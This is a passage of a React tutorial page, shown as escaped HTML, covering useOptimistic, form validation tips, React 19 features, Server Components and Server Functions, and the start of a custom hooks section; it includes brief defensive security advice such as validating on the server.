      &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"alert"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  useOptimistic
&lt;/h3&gt;

&lt;p&gt;Show the result instantly. React rolls it back automatically if the action fails.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;optimisticTodos&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;addOptimistic&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useOptimistic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;todos&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;newTitle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;temp&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;newTitle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;sending&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;addTodo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;title&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;title&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;addOptimistic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;saveTodo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// then update the real state&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;addTodo&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;...&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Validation tips
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Frontend validation is for UX only. &lt;strong&gt;Always validate again on the server.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;For big forms, use a library: React Hook Form, TanStack Form, or Formik.&lt;/li&gt;
&lt;li&gt;Use schema validation (Zod, Valibot) and share the schema between client and server.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  16. What is new in React 19 and 19.2
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;What changed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Actions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Async functions in transitions. Pending, errors and optimistic updates handled for you.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;useActionState&lt;/code&gt;, &lt;code&gt;useFormStatus&lt;/code&gt;, &lt;code&gt;useOptimistic&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Form and mutation helpers (section 15).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;use&lt;/code&gt; API&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Read a promise or context during render, can be conditional.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;ref&lt;/code&gt; as a prop&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No more &lt;code&gt;forwardRef&lt;/code&gt; for function components.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;Context&amp;gt;&lt;/code&gt; as provider&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Replaces &lt;code&gt;&amp;lt;Context.Provider&amp;gt;&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Document metadata&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; rendered inside components are hoisted to &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stylesheet and resource support&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Better preloading with &lt;code&gt;preload&lt;/code&gt;, &lt;code&gt;preinit&lt;/code&gt; from &lt;code&gt;react-dom&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Better error reporting&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Less duplicated errors, new &lt;code&gt;onCaughtError&lt;/code&gt; and &lt;code&gt;onUncaughtError&lt;/code&gt; root options.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Custom Elements support&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Web Components work properly.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;Activity&amp;gt;&lt;/code&gt; (19.2)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hide parts of the UI but keep their state.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;useEffectEvent&lt;/code&gt; (19.2)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Non-reactive logic inside effects.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Performance Tracks (19.2)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;React data in the Chrome DevTools performance timeline.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The &lt;code&gt;use&lt;/code&gt; API:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Suspense&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Comments&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;commentsPromise&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;comments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;commentsPromise&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// suspends until resolved&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Suspense&lt;/span&gt; &lt;span class="na"&gt;fallback&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Loading...&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Comments&lt;/span&gt; &lt;span class="na"&gt;commentsPromise&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;commentsPromise&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Suspense&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Create the promise &lt;strong&gt;outside&lt;/strong&gt; the client component render (in a Server Component, a loader, or a cache). Creating a new promise on every render causes an infinite loop.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;Activity&amp;gt;&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Activity&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Activity&lt;/span&gt; &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;tab&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;inbox&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;visible&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hidden&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Inbox&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;   &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="cm"&gt;/* state kept, effects cleaned up while hidden */&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Activity&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Removed in 19&lt;/strong&gt; (common in old tutorials): &lt;code&gt;ReactDOM.render&lt;/code&gt; (use &lt;code&gt;createRoot&lt;/code&gt;), &lt;code&gt;ReactDOM.hydrate&lt;/code&gt; (use &lt;code&gt;hydrateRoot&lt;/code&gt;), &lt;code&gt;propTypes&lt;/code&gt; and &lt;code&gt;defaultProps&lt;/code&gt; on function components, string refs, legacy context, &lt;code&gt;findDOMNode&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  17. Server Components
&lt;/h2&gt;

&lt;p&gt;React Server Components (RSC) run on the server (at build time or per request). They need a framework that supports them, such as &lt;strong&gt;Next.js&lt;/strong&gt; (App Router).&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Server Component&lt;/th&gt;
&lt;th&gt;Client Component&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Default in Next.js App Router&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No, needs &lt;code&gt;'use client'&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Can be &lt;code&gt;async&lt;/code&gt; and read DB or files directly&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Can use &lt;code&gt;useState&lt;/code&gt;, &lt;code&gt;useEffect&lt;/code&gt;, events&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JS sent to the browser&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Server Component (no directive needed in frameworks like Next.js)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Products&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;products&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;products&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findMany&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;products&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;li&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;li&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use client&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// top of file: this file and its imports run in the browser&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;LikeButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;liked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setLiked&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setLiked&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;liked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;liked&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Liked&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Like&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Server Functions&lt;/strong&gt; (formerly Server Actions) use &lt;code&gt;'use server'&lt;/code&gt;. They are server-side functions you call from the client, often as form actions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use server&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;createPost&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;posts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;title&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Remember:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;'use client'&lt;/code&gt; marks a &lt;strong&gt;boundary&lt;/strong&gt;. Everything imported below it becomes client code.&lt;/li&gt;
&lt;li&gt;Push &lt;code&gt;'use client'&lt;/code&gt; as deep (as small) as possible.&lt;/li&gt;
&lt;li&gt;Props passed from server to client must be serializable (no functions, except Server Functions).&lt;/li&gt;
&lt;li&gt;Treat every Server Function as a &lt;strong&gt;public HTTP endpoint&lt;/strong&gt;: authenticate, authorize and validate inputs.&lt;/li&gt;
&lt;li&gt;A critical RSC vulnerability was disclosed and patched in the React blog's security notice. Keep React and your framework updated.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  18. Custom hooks
&lt;/h2&gt;

&lt;p&gt;A custom hook is a function whose name starts with &lt;code&gt;use&lt;/code&gt; and that calls other hooks. It shares &lt;strong&gt;logic&lt;/strong&gt;, not state. Each call gets its own state.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;useLocalStorage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;initial&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setValue&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;saved&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
